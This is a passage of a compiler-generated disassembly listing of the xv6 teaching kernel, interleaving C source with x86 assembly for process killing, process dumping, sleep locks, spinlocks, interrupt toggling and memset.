80104c35: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104c3c: e8 e6 02 00 00 call 80104f27 <acquire>
wakeup1(chan);
80104c41: 8b 45 08 mov 0x8(%ebp),%eax
80104c44: 89 04 24 mov %eax,(%esp)
80104c47: e8 a5 ff ff ff call 80104bf1 <wakeup1>
release(&ptable.lock);
80104c4c: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104c53: e8 36 03 00 00 call 80104f8e <release>
}
80104c58: c9 leave
80104c59: c3 ret
80104c5a <kill>:
// Kill the process with the given pid.
// Process won't exit until it returns
// to user space (see trap in trap.c).
int
kill(int pid)
{
80104c5a: 55 push %ebp
80104c5b: 89 e5 mov %esp,%ebp
80104c5d: 83 ec 28 sub $0x28,%esp
struct proc *p;
acquire(&ptable.lock);
80104c60: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104c67: e8 bb 02 00 00 call 80104f27 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104c6c: c7 45 f4 74 3e 11 80 movl $0x80113e74,-0xc(%ebp)
80104c73: eb 41 jmp 80104cb6 <kill+0x5c>
if(p->pid == pid){
80104c75: 8b 45 f4 mov -0xc(%ebp),%eax
80104c78: 8b 40 10 mov 0x10(%eax),%eax
80104c7b: 3b 45 08 cmp 0x8(%ebp),%eax
80104c7e: 75 32 jne 80104cb2 <kill+0x58>
p->killed = 1;
80104c80: 8b 45 f4 mov -0xc(%ebp),%eax
80104c83: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
80104c8a: 8b 45 f4 mov -0xc(%ebp),%eax
80104c8d: 8b 40 0c mov 0xc(%eax),%eax
80104c90: 83 f8 02 cmp $0x2,%eax
80104c93: 75 0a jne 80104c9f <kill+0x45>
p->state = RUNNABLE;
80104c95: 8b 45 f4 mov -0xc(%ebp),%eax
80104c98: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
release(&ptable.lock);
80104c9f: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104ca6: e8 e3 02 00 00 call 80104f8e <release>
return 0;
80104cab: b8 00 00 00 00 mov $0x0,%eax
80104cb0: eb 1e jmp 80104cd0 <kill+0x76>
kill(int pid)
{
struct proc *p;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104cb2: 83 45 f4 7c addl $0x7c,-0xc(%ebp)
80104cb6: 81 7d f4 74 5d 11 80 cmpl $0x80115d74,-0xc(%ebp)
80104cbd: 72 b6 jb 80104c75 <kill+0x1b>
p->state = RUNNABLE;
release(&ptable.lock);
return 0;
}
}
release(&ptable.lock);
80104cbf: c7 04 24 40 3e 11 80 movl $0x80113e40,(%esp)
80104cc6: e8 c3 02 00 00 call 80104f8e <release>
return -1;
80104ccb: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104cd0: c9 leave
80104cd1: c3 ret
80104cd2 <procdump>:
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
{
80104cd2: 55 push %ebp
80104cd3: 89 e5 mov %esp,%ebp
80104cd5: 83 ec 58 sub $0x58,%esp
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104cd8: c7 45 f0 74 3e 11 80 movl $0x80113e74,-0x10(%ebp)
80104cdf: e9 d5 00 00 00 jmp 80104db9 <procdump+0xe7>
if(p->state == UNUSED)
80104ce4: 8b 45 f0 mov -0x10(%ebp),%eax
80104ce7: 8b 40 0c mov 0xc(%eax),%eax
80104cea: 85 c0 test %eax,%eax
80104cec: 75 05 jne 80104cf3 <procdump+0x21>
continue;
80104cee: e9 c2 00 00 00 jmp 80104db5 <procdump+0xe3>
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
80104cf3: 8b 45 f0 mov -0x10(%ebp),%eax
80104cf6: 8b 40 0c mov 0xc(%eax),%eax
80104cf9: 83 f8 05 cmp $0x5,%eax
80104cfc: 77 23 ja 80104d21 <procdump+0x4f>
80104cfe: 8b 45 f0 mov -0x10(%ebp),%eax
80104d01: 8b 40 0c mov 0xc(%eax),%eax
80104d04: 8b 04 85 0c b0 10 80 mov -0x7fef4ff4(,%eax,4),%eax
80104d0b: 85 c0 test %eax,%eax
80104d0d: 74 12 je 80104d21 <procdump+0x4f>
state = states[p->state];
80104d0f: 8b 45 f0 mov -0x10(%ebp),%eax
80104d12: 8b 40 0c mov 0xc(%eax),%eax
80104d15: 8b 04 85 0c b0 10 80 mov -0x7fef4ff4(,%eax,4),%eax
80104d1c: 89 45 ec mov %eax,-0x14(%ebp)
80104d1f: eb 07 jmp 80104d28 <procdump+0x56>
else
state = "???";
80104d21: c7 45 ec 0c 89 10 80 movl $0x8010890c,-0x14(%ebp)
cprintf("%d %s %s", p->pid, state, p->name);
80104d28: 8b 45 f0 mov -0x10(%ebp),%eax
80104d2b: 8d 50 6c lea 0x6c(%eax),%edx
80104d2e: 8b 45 f0 mov -0x10(%ebp),%eax
80104d31: 8b 40 10 mov 0x10(%eax),%eax
80104d34: 89 54 24 0c mov %edx,0xc(%esp)
80104d38: 8b 55 ec mov -0x14(%ebp),%edx
80104d3b: 89 54 24 08 mov %edx,0x8(%esp)
80104d3f: 89 44 24 04 mov %eax,0x4(%esp)
80104d43: c7 04 24 10 89 10 80 movl $0x80108910,(%esp)
80104d4a: e8 72 b6 ff ff call 801003c1 <cprintf>
if(p->state == SLEEPING){
80104d4f: 8b 45 f0 mov -0x10(%ebp),%eax
80104d52: 8b 40 0c mov 0xc(%eax),%eax
80104d55: 83 f8 02 cmp $0x2,%eax
80104d58: 75 4f jne 80104da9 <procdump+0xd7>
getcallerpcs((uint*)p->context->ebp+2, pc);
80104d5a: 8b 45 f0 mov -0x10(%ebp),%eax
80104d5d: 8b 40 1c mov 0x1c(%eax),%eax
80104d60: 8b 40 0c mov 0xc(%eax),%eax
80104d63: 83 c0 08 add $0x8,%eax
80104d66: 8d 55 c4 lea -0x3c(%ebp),%edx
80104d69: 89 54 24 04 mov %edx,0x4(%esp)
80104d6d: 89 04 24 mov %eax,(%esp)
80104d70: e8 66 02 00 00 call 80104fdb <getcallerpcs>
for(i=0; i<10 && pc[i] != 0; i++)
80104d75: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80104d7c: eb 1a jmp 80104d98 <procdump+0xc6>
cprintf(" %p", pc[i]);
80104d7e: 8b 45 f4 mov -0xc(%ebp),%eax
80104d81: 8b 44 85 c4 mov -0x3c(%ebp,%eax,4),%eax
80104d85: 89 44 24 04 mov %eax,0x4(%esp)
80104d89: c7 04 24 19 89 10 80 movl $0x80108919,(%esp)
80104d90: e8 2c b6 ff ff call 801003c1 <cprintf>
else
state = "???";
cprintf("%d %s %s", p->pid, state, p->name);
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
80104d95: ff 45 f4 incl -0xc(%ebp)
80104d98: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
80104d9c: 7f 0b jg 80104da9 <procdump+0xd7>
80104d9e: 8b 45 f4 mov -0xc(%ebp),%eax
80104da1: 8b 44 85 c4 mov -0x3c(%ebp,%eax,4),%eax
80104da5: 85 c0 test %eax,%eax
80104da7: 75 d5 jne 80104d7e <procdump+0xac>
cprintf(" %p", pc[i]);
}
cprintf("\n");
80104da9: c7 04 24 1d 89 10 80 movl $0x8010891d,(%esp)
80104db0: e8 0c b6 ff ff call 801003c1 <cprintf>
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104db5: 83 45 f0 7c addl $0x7c,-0x10(%ebp)
80104db9: 81 7d f0 74 5d 11 80 cmpl $0x80115d74,-0x10(%ebp)
80104dc0: 0f 82 1e ff ff ff jb 80104ce4 <procdump+0x12>
for(i=0; i<10 && pc[i] != 0; i++)
cprintf(" %p", pc[i]);
}
cprintf("\n");
}
}
80104dc6: c9 leave
80104dc7: c3 ret
80104dc8 <initsleeplock>:
#include "spinlock.h"
#include "sleeplock.h"
void
initsleeplock(struct sleeplock *lk, char *name)
{
80104dc8: 55 push %ebp
80104dc9: 89 e5 mov %esp,%ebp
80104dcb: 83 ec 18 sub $0x18,%esp
initlock(&lk->lk, "sleep lock");
80104dce: 8b 45 08 mov 0x8(%ebp),%eax
80104dd1: 83 c0 04 add $0x4,%eax
80104dd4: c7 44 24 04 49 89 10 movl $0x80108949,0x4(%esp)
80104ddb: 80
80104ddc: 89 04 24 mov %eax,(%esp)
80104ddf: e8 22 01 00 00 call 80104f06 <initlock>
lk->name = name;
80104de4: 8b 45 08 mov 0x8(%ebp),%eax
80104de7: 8b 55 0c mov 0xc(%ebp),%edx
80104dea: 89 50 38 mov %edx,0x38(%eax)
lk->locked = 0;
80104ded: 8b 45 08 mov 0x8(%ebp),%eax
80104df0: c7 00 00 00 00 00 movl $0x0,(%eax)
lk->pid = 0;
80104df6: 8b 45 08 mov 0x8(%ebp),%eax
80104df9: c7 40 3c 00 00 00 00 movl $0x0,0x3c(%eax)
}
80104e00: c9 leave
80104e01: c3 ret
80104e02 <acquiresleep>:
void
acquiresleep(struct sleeplock *lk)
{
80104e02: 55 push %ebp
80104e03: 89 e5 mov %esp,%ebp
80104e05: 83 ec 18 sub $0x18,%esp
acquire(&lk->lk);
80104e08: 8b 45 08 mov 0x8(%ebp),%eax
80104e0b: 83 c0 04 add $0x4,%eax
80104e0e: 89 04 24 mov %eax,(%esp)
80104e11: e8 11 01 00 00 call 80104f27 <acquire>
while (lk->locked) {
80104e16: eb 15 jmp 80104e2d <acquiresleep+0x2b>
sleep(lk, &lk->lk);
80104e18: 8b 45 08 mov 0x8(%ebp),%eax
80104e1b: 83 c0 04 add $0x4,%eax
80104e1e: 89 44 24 04 mov %eax,0x4(%esp)
80104e22: 8b 45 08 mov 0x8(%ebp),%eax
80104e25: 89 04 24 mov %eax,(%esp)
80104e28: e8 29 fd ff ff call 80104b56 <sleep>
void
acquiresleep(struct sleeplock *lk)
{
acquire(&lk->lk);
while (lk->locked) {
80104e2d: 8b 45 08 mov 0x8(%ebp),%eax
80104e30: 8b 00 mov (%eax),%eax
80104e32: 85 c0 test %eax,%eax
80104e34: 75 e2 jne 80104e18 <acquiresleep+0x16>
sleep(lk, &lk->lk);
}
lk->locked = 1;
80104e36: 8b 45 08 mov 0x8(%ebp),%eax
80104e39: c7 00 01 00 00 00 movl $0x1,(%eax)
lk->pid = proc->pid;
80104e3f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104e45: 8b 50 10 mov 0x10(%eax),%edx
80104e48: 8b 45 08 mov 0x8(%ebp),%eax
80104e4b: 89 50 3c mov %edx,0x3c(%eax)
release(&lk->lk);
80104e4e: 8b 45 08 mov 0x8(%ebp),%eax
80104e51: 83 c0 04 add $0x4,%eax
80104e54: 89 04 24 mov %eax,(%esp)
80104e57: e8 32 01 00 00 call 80104f8e <release>
}
80104e5c: c9 leave
80104e5d: c3 ret
80104e5e <releasesleep>:
void
releasesleep(struct sleeplock *lk)
{
80104e5e: 55 push %ebp
80104e5f: 89 e5 mov %esp,%ebp
80104e61: 83 ec 18 sub $0x18,%esp
acquire(&lk->lk);
80104e64: 8b 45 08 mov 0x8(%ebp),%eax
80104e67: 83 c0 04 add $0x4,%eax
80104e6a: 89 04 24 mov %eax,(%esp)
80104e6d: e8 b5 00 00 00 call 80104f27 <acquire>
lk->locked = 0;
80104e72: 8b 45 08 mov 0x8(%ebp),%eax
80104e75: c7 00 00 00 00 00 movl $0x0,(%eax)
lk->pid = 0;
80104e7b: 8b 45 08 mov 0x8(%ebp),%eax
80104e7e: c7 40 3c 00 00 00 00 movl $0x0,0x3c(%eax)
wakeup(lk);
80104e85: 8b 45 08 mov 0x8(%ebp),%eax
80104e88: 89 04 24 mov %eax,(%esp)
80104e8b: e8 9f fd ff ff call 80104c2f <wakeup>
release(&lk->lk);
80104e90: 8b 45 08 mov 0x8(%ebp),%eax
80104e93: 83 c0 04 add $0x4,%eax
80104e96: 89 04 24 mov %eax,(%esp)
80104e99: e8 f0 00 00 00 call 80104f8e <release>
}
80104e9e: c9 leave
80104e9f: c3 ret
80104ea0 <holdingsleep>:
int
holdingsleep(struct sleeplock *lk)
{
80104ea0: 55 push %ebp
80104ea1: 89 e5 mov %esp,%ebp
80104ea3: 83 ec 28 sub $0x28,%esp
int r;
acquire(&lk->lk);
80104ea6: 8b 45 08 mov 0x8(%ebp),%eax
80104ea9: 83 c0 04 add $0x4,%eax
80104eac: 89 04 24 mov %eax,(%esp)
80104eaf: e8 73 00 00 00 call 80104f27 <acquire>
r = lk->locked;
80104eb4: 8b 45 08 mov 0x8(%ebp),%eax
80104eb7: 8b 00 mov (%eax),%eax
80104eb9: 89 45 f4 mov %eax,-0xc(%ebp)
release(&lk->lk);
80104ebc: 8b 45 08 mov 0x8(%ebp),%eax
80104ebf: 83 c0 04 add $0x4,%eax
80104ec2: 89 04 24 mov %eax,(%esp)
80104ec5: e8 c4 00 00 00 call 80104f8e <release>
return r;
80104eca: 8b 45 f4 mov -0xc(%ebp),%eax
}
80104ecd: c9 leave
80104ece: c3 ret
...
80104ed0 <readeflags>:
asm volatile("ltr %0" : : "r" (sel));
}
static inline uint
readeflags(void)
{
80104ed0: 55 push %ebp
80104ed1: 89 e5 mov %esp,%ebp
80104ed3: 83 ec 10 sub $0x10,%esp
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80104ed6: 9c pushf
80104ed7: 58 pop %eax
80104ed8: 89 45 fc mov %eax,-0x4(%ebp)
return eflags;
80104edb: 8b 45 fc mov -0x4(%ebp),%eax
}
80104ede: c9 leave
80104edf: c3 ret
80104ee0 <cli>:
asm volatile("movw %0, %%gs" : : "r" (v));
}
static inline void
cli(void)
{
80104ee0: 55 push %ebp
80104ee1: 89 e5 mov %esp,%ebp
asm volatile("cli");
80104ee3: fa cli
}
80104ee4: 5d pop %ebp
80104ee5: c3 ret
80104ee6 <sti>:
static inline void
sti(void)
{
80104ee6: 55 push %ebp
80104ee7: 89 e5 mov %esp,%ebp
asm volatile("sti");
80104ee9: fb sti
}
80104eea: 5d pop %ebp
80104eeb: c3 ret
80104eec <xchg>:
static inline uint
xchg(volatile uint *addr, uint newval)
{
80104eec: 55 push %ebp
80104eed: 89 e5 mov %esp,%ebp
80104eef: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
80104ef2: 8b 55 08 mov 0x8(%ebp),%edx
80104ef5: 8b 45 0c mov 0xc(%ebp),%eax
80104ef8: 8b 4d 08 mov 0x8(%ebp),%ecx
80104efb: f0 87 02 lock xchg %eax,(%edx)
80104efe: 89 45 fc mov %eax,-0x4(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
80104f01: 8b 45 fc mov -0x4(%ebp),%eax
}
80104f04: c9 leave
80104f05: c3 ret
80104f06 <initlock>:
#include "proc.h"
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
80104f06: 55 push %ebp
80104f07: 89 e5 mov %esp,%ebp
lk->name = name;
80104f09: 8b 45 08 mov 0x8(%ebp),%eax
80104f0c: 8b 55 0c mov 0xc(%ebp),%edx
80104f0f: 89 50 04 mov %edx,0x4(%eax)
lk->locked = 0;
80104f12: 8b 45 08 mov 0x8(%ebp),%eax
80104f15: c7 00 00 00 00 00 movl $0x0,(%eax)
lk->cpu = 0;
80104f1b: 8b 45 08 mov 0x8(%ebp),%eax
80104f1e: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
80104f25: 5d pop %ebp
80104f26: c3 ret
80104f27 <acquire>:
// Loops (spins) until the lock is acquired.
// Holding a lock for a long time may cause
// other CPUs to waste time spinning to acquire it.
void
acquire(struct spinlock *lk)
{
80104f27: 55 push %ebp
80104f28: 89 e5 mov %esp,%ebp
80104f2a: 83 ec 18 sub $0x18,%esp
pushcli(); // disable interrupts to avoid deadlock.
80104f2d: e8 4a 01 00 00 call 8010507c <pushcli>
if(holding(lk))
80104f32: 8b 45 08 mov 0x8(%ebp),%eax
80104f35: 89 04 24 mov %eax,(%esp)
80104f38: e8 15 01 00 00 call 80105052 <holding>
80104f3d: 85 c0 test %eax,%eax
80104f3f: 74 0c je 80104f4d <acquire+0x26>
panic("acquire");
80104f41: c7 04 24 54 89 10 80 movl $0x80108954,(%esp)
80104f48: e8 07 b6 ff ff call 80100554 <panic>
// The xchg is atomic.
while(xchg(&lk->locked, 1) != 0)
80104f4d: 90 nop
80104f4e: 8b 45 08 mov 0x8(%ebp),%eax
80104f51: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80104f58: 00
80104f59: 89 04 24 mov %eax,(%esp)
80104f5c: e8 8b ff ff ff call 80104eec <xchg>
80104f61: 85 c0 test %eax,%eax
80104f63: 75 e9 jne 80104f4e <acquire+0x27>
;
// Tell the C compiler and the processor to not move loads or stores
// past this point, to ensure that the critical section's memory
// references happen after the lock is acquired.
__sync_synchronize();
80104f65: f0 83 0c 24 00 lock orl $0x0,(%esp)
// Record info about lock acquisition for debugging.
lk->cpu = cpu;
80104f6a: 8b 45 08 mov 0x8(%ebp),%eax
80104f6d: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
80104f74: 89 50 08 mov %edx,0x8(%eax)
getcallerpcs(&lk, lk->pcs);
80104f77: 8b 45 08 mov 0x8(%ebp),%eax
80104f7a: 83 c0 0c add $0xc,%eax
80104f7d: 89 44 24 04 mov %eax,0x4(%esp)
80104f81: 8d 45 08 lea 0x8(%ebp),%eax
80104f84: 89 04 24 mov %eax,(%esp)
80104f87: e8 4f 00 00 00 call 80104fdb <getcallerpcs>
}
80104f8c: c9 leave
80104f8d: c3 ret
80104f8e <release>:
// Release the lock.
void
release(struct spinlock *lk)
{
80104f8e: 55 push %ebp
80104f8f: 89 e5 mov %esp,%ebp
80104f91: 83 ec 18 sub $0x18,%esp
if(!holding(lk))
80104f94: 8b 45 08 mov 0x8(%ebp),%eax
80104f97: 89 04 24 mov %eax,(%esp)
80104f9a: e8 b3 00 00 00 call 80105052 <holding>
80104f9f: 85 c0 test %eax,%eax
80104fa1: 75 0c jne 80104faf <release+0x21>
panic("release");
80104fa3: c7 04 24 5c 89 10 80 movl $0x8010895c,(%esp)
80104faa: e8 a5 b5 ff ff call 80100554 <panic>
lk->pcs[0] = 0;
80104faf: 8b 45 08 mov 0x8(%ebp),%eax
80104fb2: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
lk->cpu = 0;
80104fb9: 8b 45 08 mov 0x8(%ebp),%eax
80104fbc: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
// Tell the C compiler and the processor to not move loads or stores
// past this point, to ensure that all the stores in the critical
// section are visible to other cores before the lock is released.
// Both the C compiler and the hardware may re-order loads and
// stores; __sync_synchronize() tells them both not to.
__sync_synchronize();
80104fc3: f0 83 0c 24 00 lock orl $0x0,(%esp)
// Release the lock, equivalent to lk->locked = 0.
// This code can't use a C assignment, since it might
// not be atomic. A real OS would use C atomics here.
asm volatile("movl $0, %0" : "+m" (lk->locked) : );
80104fc8: 8b 45 08 mov 0x8(%ebp),%eax
80104fcb: 8b 55 08 mov 0x8(%ebp),%edx
80104fce: c7 00 00 00 00 00 movl $0x0,(%eax)
popcli();
80104fd4: e8 f7 00 00 00 call 801050d0 <popcli>
}
80104fd9: c9 leave
80104fda: c3 ret
80104fdb <getcallerpcs>:
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
80104fdb: 55 push %ebp
80104fdc: 89 e5 mov %esp,%ebp
80104fde: 83 ec 10 sub $0x10,%esp
uint *ebp;
int i;
ebp = (uint*)v - 2;
80104fe1: 8b 45 08 mov 0x8(%ebp),%eax
80104fe4: 83 e8 08 sub $0x8,%eax
80104fe7: 89 45 fc mov %eax,-0x4(%ebp)
for(i = 0; i < 10; i++){
80104fea: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%ebp)
80104ff1: eb 37 jmp 8010502a <getcallerpcs+0x4f>
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
80104ff3: 83 7d fc 00 cmpl $0x0,-0x4(%ebp)
80104ff7: 74 37 je 80105030 <getcallerpcs+0x55>
80104ff9: 81 7d fc ff ff ff 7f cmpl $0x7fffffff,-0x4(%ebp)
80105000: 76 2e jbe 80105030 <getcallerpcs+0x55>
80105002: 83 7d fc ff cmpl $0xffffffff,-0x4(%ebp)
80105006: 74 28 je 80105030 <getcallerpcs+0x55>
break;
pcs[i] = ebp[1]; // saved %eip
80105008: 8b 45 f8 mov -0x8(%ebp),%eax
8010500b: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80105012: 8b 45 0c mov 0xc(%ebp),%eax
80105015: 01 c2 add %eax,%edx
80105017: 8b 45 fc mov -0x4(%ebp),%eax
8010501a: 8b 40 04 mov 0x4(%eax),%eax
8010501d: 89 02 mov %eax,(%edx)
ebp = (uint*)ebp[0]; // saved %ebp
8010501f: 8b 45 fc mov -0x4(%ebp),%eax
80105022: 8b 00 mov (%eax),%eax
80105024: 89 45 fc mov %eax,-0x4(%ebp)
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80105027: ff 45 f8 incl -0x8(%ebp)
8010502a: 83 7d f8 09 cmpl $0x9,-0x8(%ebp)
8010502e: 7e c3 jle 80104ff3 <getcallerpcs+0x18>
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
80105030: eb 18 jmp 8010504a <getcallerpcs+0x6f>
pcs[i] = 0;
80105032: 8b 45 f8 mov -0x8(%ebp),%eax
80105035: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
8010503c: 8b 45 0c mov 0xc(%ebp),%eax
8010503f: 01 d0 add %edx,%eax
80105041: c7 00 00 00 00 00 movl $0x0,(%eax)
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
80105047: ff 45 f8 incl -0x8(%ebp)
8010504a: 83 7d f8 09 cmpl $0x9,-0x8(%ebp)
8010504e: 7e e2 jle 80105032 <getcallerpcs+0x57>
pcs[i] = 0;
}
80105050: c9 leave
80105051: c3 ret
80105052 <holding>:
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
80105052: 55 push %ebp
80105053: 89 e5 mov %esp,%ebp
return lock->locked && lock->cpu == cpu;
80105055: 8b 45 08 mov 0x8(%ebp),%eax
80105058: 8b 00 mov (%eax),%eax
8010505a: 85 c0 test %eax,%eax
8010505c: 74 17 je 80105075 <holding+0x23>
8010505e: 8b 45 08 mov 0x8(%ebp),%eax
80105061: 8b 50 08 mov 0x8(%eax),%edx
80105064: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010506a: 39 c2 cmp %eax,%edx
8010506c: 75 07 jne 80105075 <holding+0x23>
8010506e: b8 01 00 00 00 mov $0x1,%eax
80105073: eb 05 jmp 8010507a <holding+0x28>
80105075: b8 00 00 00 00 mov $0x0,%eax
}
8010507a: 5d pop %ebp
8010507b: c3 ret
8010507c <pushcli>:
// it takes two popcli to undo two pushcli. Also, if interrupts
// are off, then pushcli, popcli leaves them off.
void
pushcli(void)
{
8010507c: 55 push %ebp
8010507d: 89 e5 mov %esp,%ebp
8010507f: 83 ec 10 sub $0x10,%esp
int eflags;
eflags = readeflags();
80105082: e8 49 fe ff ff call 80104ed0 <readeflags>
80105087: 89 45 fc mov %eax,-0x4(%ebp)
cli();
8010508a: e8 51 fe ff ff call 80104ee0 <cli>
if(cpu->ncli == 0)
8010508f: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80105095: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax
8010509b: 85 c0 test %eax,%eax
8010509d: 75 15 jne 801050b4 <pushcli+0x38>
cpu->intena = eflags & FL_IF;
8010509f: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801050a5: 8b 55 fc mov -0x4(%ebp),%edx
801050a8: 81 e2 00 02 00 00 and $0x200,%edx
801050ae: 89 90 b0 00 00 00 mov %edx,0xb0(%eax)
cpu->ncli += 1;
801050b4: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801050ba: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
801050c1: 8b 92 ac 00 00 00 mov 0xac(%edx),%edx
801050c7: 42 inc %edx
801050c8: 89 90 ac 00 00 00 mov %edx,0xac(%eax)
}
801050ce: c9 leave
801050cf: c3 ret
801050d0 <popcli>:
void
popcli(void)
{
801050d0: 55 push %ebp
801050d1: 89 e5 mov %esp,%ebp
801050d3: 83 ec 18 sub $0x18,%esp
if(readeflags()&FL_IF)
801050d6: e8 f5 fd ff ff call 80104ed0 <readeflags>
801050db: 25 00 02 00 00 and $0x200,%eax
801050e0: 85 c0 test %eax,%eax
801050e2: 74 0c je 801050f0 <popcli+0x20>
panic("popcli - interruptible");
801050e4: c7 04 24 64 89 10 80 movl $0x80108964,(%esp)
801050eb: e8 64 b4 ff ff call 80100554 <panic>
if(--cpu->ncli < 0)
801050f0: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801050f6: 8b 90 ac 00 00 00 mov 0xac(%eax),%edx
801050fc: 4a dec %edx
801050fd: 89 90 ac 00 00 00 mov %edx,0xac(%eax)
80105103: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax
80105109: 85 c0 test %eax,%eax
8010510b: 79 0c jns 80105119 <popcli+0x49>
panic("popcli");
8010510d: c7 04 24 7b 89 10 80 movl $0x8010897b,(%esp)
80105114: e8 3b b4 ff ff call 80100554 <panic>
if(cpu->ncli == 0 && cpu->intena)
80105119: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010511f: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax
80105125: 85 c0 test %eax,%eax
80105127: 75 15 jne 8010513e <popcli+0x6e>
80105129: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010512f: 8b 80 b0 00 00 00 mov 0xb0(%eax),%eax
80105135: 85 c0 test %eax,%eax
80105137: 74 05 je 8010513e <popcli+0x6e>
sti();
80105139: e8 a8 fd ff ff call 80104ee6 <sti>
}
8010513e: c9 leave
8010513f: c3 ret
80105140 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
80105140: 55 push %ebp
80105141: 89 e5 mov %esp,%ebp
80105143: 57 push %edi
80105144: 53 push %ebx
asm volatile("cld; rep stosb" :
80105145: 8b 4d 08 mov 0x8(%ebp),%ecx
80105148: 8b 55 10 mov 0x10(%ebp),%edx
8010514b: 8b 45 0c mov 0xc(%ebp),%eax
8010514e: 89 cb mov %ecx,%ebx
80105150: 89 df mov %ebx,%edi
80105152: 89 d1 mov %edx,%ecx
80105154: fc cld
80105155: f3 aa rep stos %al,%es:(%edi)
80105157: 89 ca mov %ecx,%edx
80105159: 89 fb mov %edi,%ebx
8010515b: 89 5d 08 mov %ebx,0x8(%ebp)
8010515e: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
80105161: 5b pop %ebx
80105162: 5f pop %edi
80105163: 5d pop %ebp
80105164: c3 ret
80105165 <stosl>:
static inline void
stosl(void *addr, int data, int cnt)
{
80105165: 55 push %ebp
80105166: 89 e5 mov %esp,%ebp
80105168: 57 push %edi
80105169: 53 push %ebx
asm volatile("cld; rep stosl" :
8010516a: 8b 4d 08 mov 0x8(%ebp),%ecx
8010516d: 8b 55 10 mov 0x10(%ebp),%edx
80105170: 8b 45 0c mov 0xc(%ebp),%eax
80105173: 89 cb mov %ecx,%ebx
80105175: 89 df mov %ebx,%edi
80105177: 89 d1 mov %edx,%ecx
80105179: fc cld
8010517a: f3 ab rep stos %eax,%es:(%edi)
8010517c: 89 ca mov %ecx,%edx
8010517e: 89 fb mov %edi,%ebx
80105180: 89 5d 08 mov %ebx,0x8(%ebp)
80105183: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
80105186: 5b pop %ebx
80105187: 5f pop %edi
80105188: 5d pop %ebp
80105189: c3 ret
8010518a <memset>:
#include "types.h"
#include "x86.h"
void*
memset(void *dst, int c, uint n)
{
8010518a: 55 push %ebp
8010518b: 89 e5 mov %esp,%ebp
8010518d: 83 ec 0c sub $0xc,%esp
if ((int)dst%4 == 0 && n%4 == 0){
80105190: 8b 45 08 mov 0x8(%ebp),%eax
80105193: 83 e0 03 and $0x3,%eax
80105196: 85 c0 test %eax,%eax
80105198: 75 49 jne 801051e3 <memset+0x59>
8010519a: 8b 45 10 mov 0x10(%ebp),%eax
8010519d: 83 e0 03 and $0x3,%eax
801051a0: 85 c0 test %eax,%eax
801051a2: 75 3f jne 801051e3 <memset+0x59>
c &= 0xFF;
801051a4: 81 65 0c ff 00 00 00 andl $0xff,0xc(%ebp)
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
801051ab: 8b 45 10 mov 0x10(%ebp),%eax
801051ae: c1 e8 02 shr $0x2,%eax
801051b1: 89 c2 mov %eax,%edx
801051b3: 8b 45 0c mov 0xc(%ebp),%eax
801051b6: c1 e0 18 shl $0x18,%eax
